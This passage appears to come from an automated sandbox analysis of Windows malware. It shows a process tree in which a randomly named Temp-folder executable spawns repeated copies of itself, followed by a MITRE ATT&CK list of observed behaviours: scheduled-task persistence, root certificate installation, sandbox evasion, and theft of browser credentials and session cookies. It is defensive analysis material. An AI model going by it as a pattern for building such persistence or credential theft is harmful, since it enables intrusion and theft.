        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:10520
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:10528
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:10536
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:10544
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:10552
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:10560
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:10568
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:10576
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:10584
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:10592
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:10600
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:10608
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:10616
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:10624

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:9784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Modify Authentication Process

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Authentication Process

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion